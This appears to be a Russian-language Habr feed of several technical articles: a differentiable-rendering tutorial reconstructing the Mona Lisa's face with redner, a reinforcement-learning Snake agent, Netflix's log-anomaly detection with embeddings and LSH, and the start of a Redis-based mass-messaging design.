Сегодня мы оставим приложение дифференциального рендеринга к конструированию нейронного рендеринга за скобками повествования, однако порекомендуем всем заинтересовавшимся следующие источники:


  • большая обзорная статья SOTA архитектур в области нейронного рендеринга [7] на основе прошедшей CVPR 2020;
  • видео с записью утренней и дневной сессией по нейтронному рендерингу с CVPR 2020, на основе которых и была написана статья из предыдущего пункта;
  • видеолекция MIT DL Neural rendering с кратким обзором основных подходов и введении в тему;
  • заметка на Medium на тему дифференциального рендеринга и его приложений;
  • видео с youtube канала two minute papers на данную тему.

Experiment: Mona Liza reconstruction


Разберем пример применения дифференциального рендеринга для восстановления параметров 3D сцены по исходному изображению человеческого лица, представленный в пуле примеров библиотеки redner, которая является реализацией идей, изложенных в статье [ 4 ].


В данном примере, мы будем использовать т.н. 3D morphable model [8] технику текстурированного трехмерного моделирования человеческого лица, ставшую уже классической в области анализа 3D. Техника основана на получение такого крытого представления признаков 3D данных, которое позволяет строить линейные комбинации, сочетающие физиологические особенности человеческих лиц (если так можно выразиться, то это своеобразный Word2Vec от мира 3D моделирования человеческих лиц).


Для работы с примером вам потребуется датасет Basel face model (2017 version). Файл model2017-1_bfm_nomouth.h5 необходимо будет разместить в рабочей директории вместе с кодом.


Для начала загрузим необходимы для работы библиотеки и датасет лиц.


Загрузка библиотек
import torchimport pyrednerimport h5pyimport urllibimport timefrom matplotlib.pyplot import imshow%matplotlib inlineimport matplotlib.pyplot as pltfrom IPython.display import display, clear_outputfrom matplotlib import animationfrom IPython.display import HTML

# Load the Basel face modelwith h5py.File(r'model2017-1_bfm_nomouth.h5', 'r') as hf:    shape_mean = torch.tensor(hf['shape/model/mean'],                               device = pyredner.get_device())    shape_basis = torch.tensor(hf['shape/model/pcaBasis'],                                device = pyredner.get_device())    triangle_list = torch.tensor(hf['shape/representer/cells'],                                  device = pyredner.get_device())    color_mean = torch.tensor(hf['color/model/mean'],                               device = pyredner.get_device())    color_basis = torch.tensor(hf['color/model/pcaBasis'],                                device = pyredner.get_device())

Модель лица в таком подходе разделена отдельно на базисный вектор формы shape_basis (вектор длины 199 полученный методом PCA), базисный вектор цвета color_basis (вектор длины 199 полученный методом PCA), также имеем усредненный вектор формы и цвета shape_mean, color_mean. В triangle_list хранится геометрия усредненного лица в форме полигональной модели.


Создадим модель, которая на вход будет принимать векторы скрытого представления цвета и формы лица, параметры камеры и освещения в сцене, а на выходе будет генерировать отрендеренное изображение.


indices = triangle_list.permute(1, 0).contiguous()def model(        cam_pos,         cam_look_at,         shape_coeffs,         color_coeffs,         ambient_color,         dir_light_intensity):    vertices = (shape_mean + shape_basis @ shape_coeffs).view(-1, 3)    normals = pyredner.compute_vertex_normal(vertices, indices)    colors = (color_mean + color_basis @ color_coeffs).view(-1, 3)    m = pyredner.Material(use_vertex_color = True)    obj = pyredner.Object(vertices = vertices,                           indices = indices,                           normals = normals,                           material = m,                           colors = colors)    cam = pyredner.Camera(position = cam_pos,                          # Center of the vertices                                                    look_at = cam_look_at,                          up = torch.tensor([0.0, 1.0, 0.0]),                          fov = torch.tensor([45.0]),                          resolution = (256, 256))    scene = pyredner.Scene(camera = cam, objects = [obj])    ambient_light = pyredner.AmbientLight(ambient_color)    dir_light = pyredner.DirectionalLight(torch.tensor([0.0, 0.0, -1.0]),                                           dir_light_intensity)    img = pyredner.render_deferred(scene = scene,                                    lights = [ambient_light, dir_light])    return img

Теперь посмотрим как выглядит усредненное лицо. Для этого зададим первоначальные параметры освещения и позиции камеры и воспользуемся нашей моделью. Также загрузим целевое изображение, параметры которого мы хотим восстановить и взглянем на него:


cam_pos = torch.tensor([-0.2697, -5.7891, 373.9277])cam_look_at = torch.tensor([-0.2697, -5.7891, 54.7918])img = model(cam_pos,             cam_look_at,             torch.zeros(199, device = pyredner.get_device()),            torch.zeros(199, device = pyredner.get_device()),            torch.ones(3),             torch.zeros(3))imshow(torch.pow(img, 1.0/2.2).cpu())face_url = 'https://raw.githubusercontent.com/BachiLi/redner/master/tutorials/mona-lisa-cropped-256.png'urllib.request.urlretrieve(face_url, 'target.png')target = pyredner.imread('target.png').to(pyredner.get_device())imshow(torch.pow(target, 1.0/2.2).cpu())


Зададим начальные значения параметров, которые будем пытаться восстановить для целевой картины.


# Set requires_grad=True since we want to optimize them latercam_pos = torch.tensor([-0.2697, -5.7891, 373.9277],                        requires_grad=True)cam_look_at = torch.tensor([-0.2697, -5.7891, 54.7918],                            requires_grad=True)shape_coeffs = torch.zeros(199, device = pyredner.get_device(),                            requires_grad=True)color_coeffs = torch.zeros(199, device = pyredner.get_device(),                            requires_grad=True)ambient_color = torch.ones(3, device = pyredner.get_device(),                            requires_grad=True)dir_light_intensity = torch.zeros(3, device = pyredner.get_device(),                                   requires_grad=True)# Use two different optimizers for different learning ratesoptimizer = torch.optim.Adam(                             [                              shape_coeffs,                               color_coeffs,                               ambient_color,                               dir_light_intensity],                              lr=0.1)cam_optimizer = torch.optim.Adam([cam_pos, cam_look_at], lr=0.5)

Остается организовать, оптимизационный цикл и логировать происходящее с функцией ошибки (в нашем случае это попиксельный MSE + квадратичные регуляризаторы параметров) и с самой 3D моделью.


plt.figure()imgs, losses = [], []# Run 500 Adam iterationsnum_iters = 500for t in range(num_iters):    optimizer.zero_grad()    cam_optimizer.zero_grad()    img = model(cam_pos, cam_look_at, shape_coeffs,                 color_coeffs, ambient_color, dir_light_intensity)    # Compute the loss function. Here it is L2 plus a regularization     # term to avoid coefficients to be too far from zero.    # Both img and target are in linear color space,     # so no gamma correction is needed.    loss = (img - target).pow(2).mean()    loss = loss          + 0.0001 * shape_coeffs.pow(2).mean()          + 0.001 * color_coeffs.pow(2).mean()    loss.backward()    optimizer.step()    cam_optimizer.step()    ambient_color.data.clamp_(0.0)    dir_light_intensity.data.clamp_(0.0)    # Plot the loss    f, (ax_loss, ax_diff_img, ax_img) = plt.subplots(1, 3)    losses.append(loss.data.item())    # Only store images every 10th iterations    if t % 10 == 0:        # Record the Gamma corrected image        imgs.append(torch.pow(img.data, 1.0/2.2).cpu())     clear_output(wait=True)    ax_loss.plot(range(len(losses)), losses, label='loss')    ax_loss.legend()    ax_diff_img.imshow((img -target).pow(2).sum(dim=2).data.cpu())    ax_img.imshow(torch.pow(img.data.cpu(), 1.0/2.2))    plt.show()


Чтобы лучше понимать что происходило со сценой в процессе обучения можем сгенерировать анимацию из наших логов:


fig = plt.figure()# Clamp to avoid complainsim = plt.imshow(imgs[0].clamp(0.0, 1.0), animated=True)def update_fig(i):    im.set_array(imgs[i].clamp(0.0, 1.0))    return im,anim = animation.FuncAnimation(fig, update_fig,                                frames=len(imgs), interval=50, blit=True)HTML(anim.to_jshtml())


Conclusions


Дифференциальный рендеринг новое интересное и важное направление на стыке компьютерной графики, компьютерного зрения и машинного обучения. Данная технология стала основой для многих архитектур в области нейронного рендеринга, который в свою очередь расширяет границы возможностей компьютерной графики и машинного зрения.


Существуют несколько популярных библиотек глубокого вычисления (например Kaolin, PyTorch 3D, TensorFlow Graphics), которые содержат дифференциальный рендеринг как составную часть. Также существуют отдельные библиотеки, реализующие функционал дифференциального рендеринга (Soft Rasterizer, redner). С их помощью можно реализовывать множество интересных проектов, вроде проекта с восстановлением параметров лица и текстуры портрета человека.


В ближайшем будущем, мы можем ожидать появление новых техник и библиотек для дифференциального рендеринга и их применения в области нейронного рендеринга. Возможно, уже завтра может появится способ делать реалистичную графику в реальном времени или генерировать 2D и 3D контент приемлемого для людей качества с помощью этой технологии. Мы будем следить за развитием этого направления и постараемся рассказывать о всех новинках и интересных экспериментах.


References
  1. Liu, S., Li, T., Chen, W. and Li, H., 2019. Soft rasterizer: A differentiable renderer for image-based 3d reasoning. In Proceedings of the IEEE International Conference on Computer Vision (pp. 7708-7717). [ paper ]
  2. Loper, M.M. and Black, M.J., 2014, September. OpenDR: An approximate differentiable renderer. In European Conference on Computer Vision (pp. 154-169). Springer, Cham. [ paper ]
  3. Kato, H., Ushiku, Y. and Harada, T., 2018. Neural 3d mesh renderer. In Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition (pp. 3907-3916). [ paper ]
  4. Li, T.M., Aittala, M., Durand, F. and Lehtinen, J., 2018. Differentiable monte carlo ray tracing through edge sampling. ACM Transactions on Graphics (TOG), 37(6), pp.1-11. [ paper ]
  5. Chen, W., Ling, H., Gao, J., Smith, E., Lehtinen, J., Jacobson, A. and Fidler, S., 2019. Learning to predict 3d objects with an interpolation-based differentiable renderer. In Advances in Neural Information Processing Systems (pp. 9609-9619). [ paper ]
  6. Ravi, N., Reizenstein, J., Novotny, D., Gordon, T., Lo, W.Y., Johnson, J. and Gkioxari, G., 2020. Accelerating 3D Deep Learning with PyTorch3D. arXiv preprint arXiv:2007.08501. [ paper ] [ github ]
  7. Tewari, A., Fried, O., Thies, J., Sitzmann, V., Lombardi, S., Sunkavalli, K., Martin-Brualla, R., Simon, T., Saragih, J., Niener, M. and Pandey, R., 2020. State of the Art on Neural Rendering. arXiv preprint arXiv:2004.03805. [ paper ]
  8. Blanz, V. and Vetter, T., 1999, July. A morphable model for the synthesis of 3D faces. In Proceedings of the 26th annual conference on Computer graphics and interactive techniques (pp. 187-194). [ paper ][ project page ]

Подробнее..

Перевод Как искусственный интеллект играет в Змейку

28.09.2020 16:10:09 | Автор: admin


Рассказываем о нейросети, которая применяет глубокое обучение и обучение с подкреплением, чтобы играть в Змейку. Код на Github, разбор ошибок, демонстрации иры искусственного интеллекта и эксперименты над ним вы найдете под катом.

С тех пор, как я посмотрела документальный фильм Netflix об AlphaGo, я была очарована обучением с подкреплением. Такое обучение сравнимо с человеческим: вы видите что-то, делаете что-то и у ваших действий есть последствия. Хорошие или не очень. Вы учитесь на последствиях и корректируете действия. У обучения с подкреплением множество приложений: автономное вождение, робототехника, торговля, игры. Если обучение с подкреплением вам знакомо, пропустите следующие два раздела.

Обучение с подкреплением


Принцип простой. Агент учится через взаимодействие со средой. Он выбирает действие и получает отклик от среды в виде состояний (или наблюдений) и наград. Этот цикл продолжается постоянно или до состояния прерывания. Затем наступает новый эпизод. Схематично это выглядит так:



Цель агента получить максимум наград за эпизод. Вначале обучения агент исследует среду: пробует разные действия в одном и том же состоянии. С течением обучения агент исследует всё меньше. Вместо этого он, основываясь на собственном опыте, выбирает действие, приносящее наибольшую награду.

Глубокое обучение с подкреплением


Глубокое обучение использует нейронные сети, чтобы из входных данных получать выходные. Всего один скрытый слой и глубокое обучение может приближать любую функцию. Как это работает? Нейронная сеть это слои с узлами. Первый слой это слой входных данных. Скрытый второй слой преобразует данные с помощью весов и функции активации. Последний слой это слой прогноза.



Как следует из названия, глубокое обучение с подкреплением это комбинация глубокого обучения и обучения с подкреплением. Агент учится прогнозировать лучшее действие для данного состояния, используя состояния как входные данные, значения для действий как выходные данные и награды для настройки весов в правильном направлении. Давайте напишем Змейку с применением глубокого обучения с подкреплением.



Определяем действия, награды и состояния


Чтобы подготовить игру для агента, формализуем проблему. Определить действия просто. Агент может выбирать направление: вверх, вправо, вниз или влево. Награды и состояние пространства немного сложнее. Есть много решений и одно будет работать лучше, а другое хуже. Одно из них опишу ниже и давайте попробуем его.

Если Змейка подбирает яблоко, ее награда 10 баллов. Если Змейка умирает, отнимаем от награды 100 баллов. Чтобы помочь агенту, добавляем 1 балл, когда Змейка проходит близко к яблоку и отнимаем один балл, когда Змейка удаляется от яблока.

У состояния много вариантов. Можно взять координаты Змейки и яблока или направления к яблоку. Важно добавить расположение препятствий, то есть стен и тела Змейки, чтобы агент учился выживать. Ниже резюме действий, состояний и наград. Позже мы увидим, как корректировка состояния влияет на производительность.



Создаем среду и агента


Добавляя методы в программу Змейки, мы создаём среду обучения с подкреплением. Методы будут такими: reset(self), step(self, action) и get_state(self). Кроме того, нужно рассчитывать награду на каждом шаге агента. Посмотрите на run_game(self).

Агент работает с сетью Deep Q, чтобы найти лучшие действия. Параметры модели ниже:

# epsilon sets the level of exploration and decreases over timeparams['epsilon'] = 1params['gamma'] = .95params['batch_size'] = 500params['epsilon_min'] = .01params['epsilon_decay'] = .995params['learning_rate'] = 0.00025params['layer_sizes'] = [128, 128, 128]


Если интересно посмотреть на код, вы найдёте его на GitHub.

Агент играет в Змейку


А теперь ключевой вопрос! Научиться ли агент играть? Понаблюдаем, как он взаимодействует со средой. Ниже первые игры. Агент ничего не понимает:



Первое яблоко! Но по-прежнему выглядит так, будто нейросеть не знает, что делает.



Находит первое яблоко и чуть позже ударяется о стену. Начало четырнадцатой игры:



Агент учится: его путь к яблоку не самый короткий, но он находит яблоко. Ниже тридцатая игра:



После всего 30 игр Змейка избегает столкновений с самой собой и находит быстрый путь к яблоку.

Поиграем с пространством


Может быть, возможно изменить пространство состояний и достичь похожей или лучшей производительности. Ниже возможные варианты.

  1. Без направлений: не сообщать агенту направления, в которых движется Змейка.
  2. Состояние с координатами: замени положение яблока (вверх, вправо, вниз и / или влево) координатами яблока (x, y) и змеи (x, y). Значения координат находятся на шкале от 0 до 1.
  3. Состояние направление 0 или 1.
  4. Состояние только стены: сообщает только о том, есть ли стена. Но не о том, где находится тело: внизу, наверху, справа или слева.




Ниже графики производительности разных состояний:



Найдем пространство, ускоряющее обучение. График показывает средние достижения последних 12 игр с разными состояниями.

Понятно, что когда пространство состояний имеет направления, агент учится быстро, достигая наилучших результатов. Но пространство с координатами лучше. Может быть, можно достичь лучших результатов, дольше тренируя сеть. Причиной медленного обучения может быть число возможных состояний: 20*2*4 = 1,024,000. Поле 20 на 20, 64 варианта для препятствий и 4 варианта текущего направления. Для исходного пространства вариантов 3*2*4 = 576. Это более чем в 1700 раз меньше, чем 1,024,000 и, конечно, влияет на обучение.

Поиграем с наградами


Есть ли лучшая внутренняя логика награждения? Напоминаю, Змейка награждается так:



Первая ошибка. Хождение по кругу

Что, если изменить -1 на +1? Это может замедлить обучение, но в конце концов Змейка не умирает. И это очень важно для игры. Агент быстро учится избегать смерти.



На одном временном отрезке агент получает один балл за выживание.

Вторая ошибка. Удар о стену

Изменим количество баллов за прохождение около яблока на -1. Награду за само яблоко установим в 100 баллов. Что произойдет? Агент получает штраф за каждое движение, поэтому двигается к яблоку максимально быстро. Так может случиться, но есть и другой вариант.



ИИ проходит по ближайшей стене, чтобы минимизировать потери.

Опыт


Нужно только 30 игр. Секрет искусственного интеллекта опыт предыдущих игр, который учитывается, чтобы нейросеть училась быстрее. На каждом обычном шаге выполняется ряд шагов переигрывания (параметр batch_size). Это так хорошо работает потому, что для данной пары действия и состояния разница в награде и следующем состоянии небольшая.

Ошибка 3. Нет опыта

Опыт действительно так важен? Давайте уберём его. И возьмём награду за яблоко в 100 баллов. Ниже агент без опыта, сыгравший 2500 игр.



Хотя агент сыграл 2500 (!) игр, в змейку он не играет. Игра быстро заканчивается. Иначе 10 000 игр заняли бы дни. После 3000 игру у нас только 3 яблока. После 10 000 игр яблок по-прежнему 3. Это удача или результат обучения?

Действительно, опыт очень помогает. Хотя бы опыт, учитывающий награды и тип пространства. Как много нужно переигрываний на шаг? Ответ может удивить. Чтобы ответить на этот вопрос, поиграем с параметром batch_size. В исходном эксперименте он установлен в 500. Обзор результатов с разным опытом:



200 игр с разным опытом: 1 игра (опыта нет), 2 и 4. Среднее за 20 игр.

Даже с опытом в 2 игры агент уже учится играть. В графе вы видите влияние batch_size, та же производительность достигается на 100 игр, если вместо 2 используется 4. Решение в статье дает результат. Агент учится играть в Змейку и достигает хороших результатов, собирая от 40 до 60 яблок за 50 игр.

Внимательный читатель может сказать: максимум яблок в змейке 399. Почему ИИ не выигрывает? Разница между 60 и 399, в сущности, небольшая. И это верно. И здесь есть проблема: Змейка не избегает столкновений при замыкании на себя.



Интересный способ решить проблему использовать CNN для поля игры. Так ИИ может увидеть всю игру, а не только ближайшие препятствия. Он сможет распознавать места, которые нужно обойти, чтобы победить.

Библиография
[1] K. Hornik, M. Stinchcombe, H. White, Multilayer feedforward networks are universal approximators (1989), Neural networks 2.5: 359366
[2] Mnih et al, Playing Atari with Deep Reinforcement Learning (2013)

image

Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя онлайн-курсы SkillFactory:



Подробнее..

Перевод Machine learning в анализе логов Netflix

21.09.2020 16:09:27 | Автор: admin

Представьте лог на 2,5 гигабайта после неудачной сборки. Это три миллиона строк. Вы ищете баг или регрессию, которая обнаруживается на миллионной строке. Вероятно, найти одну такую строку вручную просто невозможно. Один из вариантов diff между последней успешной и упавшей сборкой в надежде на то, что баг пишет в журналы необычные строки. Решение Netflix быстрее и точнее LogReduce под катом.

Netflix и строка в стоге лога


Стандартный md5 diff работает быстро, но выводит не меньше сотни тысяч строк-кандидатов на просмотр, поскольку показывает различия строк. Разновидность logreduce нечёткий diff с применением поиска k ближайших соседей находит около 40 000 кандидатов, но отнимает один час. Решение ниже находит 20 000 строк-кандидатов за 20 минут. Благодаря волшебству открытого ПО это всего около сотни строк кода на Python.

Решение комбинация векторных представлений слов, которые кодируют семантическую информацию слов и предложений, и хеша с учетом местоположения (LSH Local Sensitive Hash), который эффективно распределяет приблизительно близкие элементы в одни группы и далёкие элементы в другие группы. Комбинирование векторных представлений слов и LSH великолепная идея, появившаяся менее десяти лет назад.
Примечание: мы выполняли Tensorflow 2.2 на CPU и с немедленным выполнением для трансферного обучения и scikit-learn NearestNeighbor для k ближайших соседей. Существуют сложные приближенные реализации ближайших соседей, что были бы лучше для решения проблемы ближайших соседей на основе модели.

Векторное представление слов: что это и зачем?


Сборка мешка слов с k категориями (k-hot encoding, обобщение унитарного кодирования) типичная (и полезная) отправная точка дедупликации, поиска и проблем сходства неструктурированного и полуструктурированного текста. Такой тип кодирования мешка со словами выглядит как словарь с отдельными словами и их количеством. Пример с предложением log in error, check log.

{"log": 2, "in": 1, "error": 1, "check": 1}


Такое кодирование также представляется вектором, где индекс соответствует слову, а значение количеству слов. Ниже показывается фраза log in error, check log" в виде вектора, где первая запись зарезервирована для подсчета слов log, вторая для подсчета слов in и так далее:

[2, 1, 1, 1, 0, 0, 0, 0, 0, ...]

Обратите внимание: вектор состоит из множества нулей. Нули это все остальные слова в словаре, которых нет в этом предложении. Общее число возможных векторных записей или размерность вектора это размер словаря вашего языка, который часто составляет миллионы слов или более, но сжимается до сотен тысяч с помощью искусных трюков.

Посмотрим на словарь и векторные представления фразы problem authentificating. Слова, соответствующие первым пяти векторным записям, вообще не появляются в новом предложении.

{"problem": 1, "authenticating": 1}

Получается:

[0, 0, 0, 0, 1, 1, 0, 0, 0, ...]

Предложения problem authentificating и log in error, check log семантически похожи. То есть они по существу одно и то же, но лексически настолько различны, насколько это возможно. У них нет общих слов. В разрезе нечёткого diff мы могли бы сказать, что они слишком похожи, чтобы выделять их, но кодирование md5 и документ, обработанный k-hot с kNN этого не поддерживает.

Сокращение размерности использует линейную алгебру или искусственные нейронные сети для размещения семантически похожих слов, предложений или строк лога рядом друг с другом в новом векторном пространстве. Применяются векторные представления. В нашем примере log in error, check log может иметь пятимерный вектор для представления:

[0.1, 0.3, -0.5, -0.7, 0.2]

Фраза problem authentificating может быть

[0.1, 0.35, -0.5, -0.7, 0.2]


Эти векторы близки друг к другу в смысле таких мер, как косинусное сходство, в отличие от их векторов мешка со словами. Плотные низкоразмерные представления действительно полезны для коротких документов, например, строк сборки или системного лога.

На самом деле вы заменили бы тысячи или более размерностей словаря всего лишь представлением в 100 размерностей, богатыми информацией (а не пятью). Современные подходы к снижению размерности включают разложение по сингулярным значениям матрицы совместной встречаемости слов (GloVe) и специализированные нейронные сети (word2vec, BERT, ELMo).

А как насчет кластеризации? Вернёмся к логу сборки


Мы шутим, что Netflix сервис производства логов, который иногда стримит видео. Логирование, стримы, обработка исключений это сотни тысяч запросов в секунду. Поэтому масштабирование необходимо, когда мы хотим применять прикладное ML в телеметрии и логировании. По этой причине мы внимательны к масштабированию дедупликации текста, к поиску семантического сходства и обнаружению текстовых выбросов. Когда проблемы бизнеса решаются в реальном времени, другого пути нет.

Наше решение включает представление каждой строки в векторе низкой размерности и при необходимости точную настройку или одновременное обновление модели встраивания, назначение ее кластеру и определение линий в разных кластерах как разных. Хеширование с учетом местоположения вероятностный алгоритм, который позволяет назначать кластеры за константное время и выполнять поиск ближайших соседей за почти константное время.

LSH работает путем сопоставления векторного представления с набором скаляров. Стандартные алгоритмы хеширования стремятся избегать коллизий между любыми двумя совпадающими входами. LSH стремится избежать коллизий, если входные данные находятся далеко друг от друга и продвигает их, если они разные, но расположены близко друг к другу в векторном пространстве.

Вектор представления фразы log in error, check error может быть сопоставлен с двоичным числом 01. Затем 01 представляет кластер. Вектор problem authentificating с большой вероятностью также может быть отображен в 01. Так LSH обеспечивает нечёткое сравнение и решает обратную задачу нечёткое различие. Ранние приложения LSH были над многомерными векторными пространствами из набора слов. Мы не смогли придумать ни одной причины, по которой он не работал бы с пространствами векторного представления слов. Есть признаки, что другие думали так же.



Выше изображено использование LSH при размещении символов в той же группе, но в перевернутом виде.

Работа, которую мы сделали для применения LSH и векторных представлений в разрезе обнаружение текстовых выбросов в логах сборки, теперь позволяет инженеру просматривать небольшую часть строк лога, чтобы выявить и исправить ошибки, потенциально критичные для бизнеса. Также он позволяет достичь семантической кластеризации практически любой строки лога в режиме реального времени.

Теперь этот подход работает в каждой сборке Netflix. Семантическая часть позволяет группировать кажущиеся непохожими элементы на основе их значения и отображать эти элементы в отчетах о выбросах.

Несколько примеров


Любимый пример семантического diff. 6892 строк превратились в 3.



Другой пример: эта сборка записала 6044 строки, но в отчете осталась 171. Основная проблема всплыла почти сразу на строке 4036.



Конечно, быстрее проанализировать 171 строку, чем 6044. Но как вообще мы получили такие большие логи сборок? Некоторые из тысяч задач сборки это стресс-тесты для потребительской электроники выполняются в режиме трассировки. Трудно работать с таким объёмом данных без предварительной обработки.



Коэффициент сжатия: 91366/455 = 205,3.

Есть разные примеры, отражающие семантические различия между фреймворками, языками и сценариями сборки.

Заключение


Зрелость продуктов и SDK с открытым исходным кодом для трансферного обучения позволило решить проблему семантического поиска ближайшего соседа с помощью LSH в очень небольшом количестве строк кода. Мы заинтересовались особыми преимуществами, которые привносят в приложение трансферное обучение и точная настройка. Мы рады возможности решать такие проблемы и помогать людям делать то, что они делают, лучше и быстрее.

Мы надеемся, что вы подумаете о том, чтобы присоединиться к Netflix и стать одним из замечательных коллег, чью жизнь мы облегчаем с помощью машинного обучения. Вовлеченность основная ценность Netflix, и мы особенно заинтересованы в формировании разных точек зрения в технических командах. Поэтому, если вы занимаетесь аналитикой, инженерией, наукой о данных или любой другой областью и имеете опыт, нетипичный для отрасли, авторы особенно хотели бы услышать вас!

Если у вас есть какие-либо вопросы о возможностях в Netflix, обращайтесь к авторам в LinkedIn: Stanislav Kirdey, William High

А как вы решаете проблему поиска в логах?

image

Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя онлайн-курсы SkillFactory:



Подробнее..

Из песочницы Многоканальные массовые рассылки на Redis

18.09.2020 00:06:41 | Автор: admin

Вводная


Привет, Хабр! Меня зовут Борис и в этом труде я поделюсь с тобой опытом проектирования и реализации сервиса массовых рассылок, как части объемлющей системы оповещения студентов преподавателями (далее также Ада), которую тоже я осуществляю.



Ада


Нужна затем, чтобы свести на нет число прерываний учебного процесса по следующим причинам:

  1. Преподаватели не хотят делиться личными контактными данными;
  2. Студенты на самом деле тоже у них просто выбора особо нет;
  3. В силу специфики моей альма-матер, многие преподаватели вынуждены или предпочитают использовать мобильные устройства без доступа к сети Интернет;
  4. Если передавать сообщения через старост групп, то в игру вступает эффект испорченного телефона, а также фактор ой, я забыл:(.

Работает примерно так:

  1. Преподаватель через один из доступных ему каналов связи: СМС, Telegram, SPA-приложение передает Аде текст сообщения и список адресатов;
  2. Ада транслирует полученное сообщение всем заинтересованным* студентам по всевозможным каналам связи.

* Доступ к сервису предоставляется в добровольно-заявительном порядке.

Предполагается, что


  1. Общее число пользователей не превысит десяти тысяч;
  2. Соотношение студент преподаватель / член УВП (деканаты, здравпункт, военно-учетный стол и т.д.) будет держаться на уровне 10:1;
  3. Оповещения текстовые по содержанию и носят преимущественно экстренный характер: Моей пары сегодня не будет, Тебя отчисляют))0 и т.д.

Ключевые требования к сервису рассылок


  1. Простота интеграции с другими информационными системами ВУЗа;
  2. Возможность отложенной доставки, принудительная перепланировка времени отправки сообщений, поставленных в очередь в неподобающее для приличных студентов время;
  3. Разделяемая между каналами связи история и ограничения на отправку;
  4. Достоверность и полнота обратной связи: если кому-то чего-то не дойдет, а понять это будет нельзя, то всем будет обидно.

Сие произведение состоит из пяти частей: вводной, подготовительной, концептуальной, предметной и заключительной.

Подготовительную часть можно смело пропускать, если вы знакомы с Redis интерпретацией Pub/Sub шаблона, а также механизмами событий, LUA-скриптинга и обработки устаревших ключей, кроме того, весьма желательно иметь хоть какое-то представление о микросервисной архитектуре ПО.

В предметной части обозревается код на Питоне, но я верю, что информации достаточно, чтоб вы могли написать подобное на чем угодно.

Подготовительная


Очень грубо и сильно абстрактно ~ 5 минут
Redis это открытое [BSD 3-clause] ПО, реализующее хранение данных типа ключ-значение в ОЗУ (преимущественно).

С ключом может быть ассоциировано время жизни, по истечении которого он будет удален.

Значениями могут выступать строки, хэш-таблицы, списки и множества.

Любую модификацию пространства ключей можно отследить через встроенный механизм событий (отключен по умолчанию в угоду производительности).

В дополнение к транзакциям, пользователь может определять новые операции, что будут выполняться атомарно, используя языковые средства LUA 5.1.

Подробно и из первых уст ~ 15 минут
  1. Pub/Sub Redis. Пробегитесь глазами по первому параграфу, осознайте fire&forget момент, посмотрите, как работают команды PUBLISH, SUBSCRIBE и их паттерн-вариации;
  2. Redis Keyspace Notifications. Первые три параграфа;
  3. EXPIRE Redis. Параграф How Redis expires keys;
  4. Redis 6.0 Default Configuration File. В дополнение к предыдущей ссылке. Строки 939:948 (The default effort of the expire cycle);
  5. EVAL Redis. Отличие EVAL от EVALSHA, а также параграфы Atomicity of scripts, Global variables protection и Available libraries, в последнем нас интересует только cjson;
  6. Redis Lua Scripts Debugger. Не обязательно, но может прилично сэкономить вам слез в будущем. У меня вот кончились пользуюсь каплями;
  7. Исторические аспекты появления микросервисной архитектуры. Тоже не обязательно, но весьма доходчиво и интересно.

Концептуальная


Наивный подход


Самое очевидное решение, которое можно придумать: несколько методов доставки (send_vk, send_telegram и т.д.) и один обработчик, который будет вызывать их с нужными аргументами.

Проблема расширяемости


Если мы захотим добавить новый метод доставки, то будем вынуждены модифицировать существующий код, а это ограничения программной платформы.

Проблема стабильности


Сломался один из методов = сломался весь сервис.

Прикладная проблема


API разных каналов связи значительно отличаются друг от друга в плане взаимодействия. Например, ВКонтакте поддерживает массовые рассылки, но не более чем для сотни пользователей за вызов. Telegram же нет, но при этом разрешает больше вызовов в секунду.

API ВКонтакте работает только через HTTP; у Telegram есть HTTP-шлюз, но он менее стабилен, нежели MTProto и хуже документирован.

Таких различий достаточно много: максимальная длина сообщения, random_id, интерпретация и обработка ошибок и т.д. и т.п.

Как с этим быть?


Было принято решение разделить процесс постановки сообщений в очередь и процессы отправки (далее курьеры) на организационном уровне, причем так, чтобы первый даже не подозревал о существовании последних и наоборот, а связующим звеном между ними будет выступать Redis.

Непонятно? Закажите покушать!


А пока ждете позвольте познакомить вас с моей интерпретацией сего благородного действа, начиная с оформления и заканчивая закрытой за курьером дверью.



  1. Вы нажимаете на большую желтую кнопку Заказать;
  2. Яндекс.Еда находит курьера, сообщает выбранные позиции ресторану и возвращает вам номер заказа, дабы разбавить неопределенность ожидания;
  3. Ресторан по завершении готовки обновляет статус заказа и отдает еду курьеру;
  4. Курьер, в свою очередь, отдает еду вам, после чего помечает заказ как выполненный.

Приятного аппетита!

Вернемся к проектированию


Возможно, что приведенная в параграфе ранее модель не вполне соответствует действительности, но именно она легла в основу разработанного решения.

Ассоциирующиеся с номером заказа данные будем называть историей, она позволяет в любой момент времени ответить на следующие вопросы:

  1. Кто отправил;
  2. Что отправил;
  3. Откуда;
  4. Кому;
  5. Кто и как получил.

История создается вместе с заказом как два отдельных Redis ключа, связанных через суффикс:

suffix={Идентификатор пользователя}:{UNIX-время в наносекундах}История=history:{suffix}Заказ=delivery:{suffix}

Заказ определяет когда курьеры единожды увидят историю, чтобы, по завершении отправки, соответствующим образом изменить ответ на вопрос Кто и как получил.

Зрение курьеров работает через подписку на событие DEL ключей по форме delivery:*.

Когда наступает момент доставки, Redis удаляет ключ заказа, после чего курьеры приступают к его обработке.

Так как курьеров несколько велика вероятность возникновения конкуренции на стадии изменения истории.



Избежать её можно, определив соответствующую операцию атомарно в Redis это делается через LUA-скриптинг.

Детали реализации будут подробно рассмотрены в следующей главе. Сейчас же важно получить четкое представление о решении в целом с чем может помочь рисунок ниже.



Отслеживание статуса

Клиент может отследить статус доставки через ключ истории, который генерируется отдельным методом API разрабатываемого сервиса перед постановкой сообщения в очередь (как и номер заказа генерируется Яндекс.Едой в самом начале).

После генерации ключа, на него вешается (опционально и тоже отдельным методом) трекер с тайм-аутом, который будет следить за числом изменений истории курьерами (SET события). Только теперь сообщение ставится в очередь.



Если курьер не находит контактов получателей в своем домене канале связи, то он вызывает искусственное событие SET через команду PUBLISH, тем самым показывая что он в порядке и ждать дальше не надо.

Зачем мудрить с событиями в Redis, если есть RabbitMQ и Celery


На то есть как минимум пять объективных причин:

  1. Redis уже используется другими сервисами Ады, RabbitMQ/Celery новая зависимость;
  2. Redis нужен нам, в первую очередь, как СУБД, а не средство IPC;
  3. Использования Redisa как хранилища истории защищает нас от SQL-инъекций в текстах сообщений;
  4. Проблема масштабируемости не стоит и в обозримой перспективе не встанет. Кроме того, эта самая масштабируемость в контексте данной задачи достигается скорее за счет увеличения API-лимитов, нежели горизонтального наращивания вычислительных мощностей;
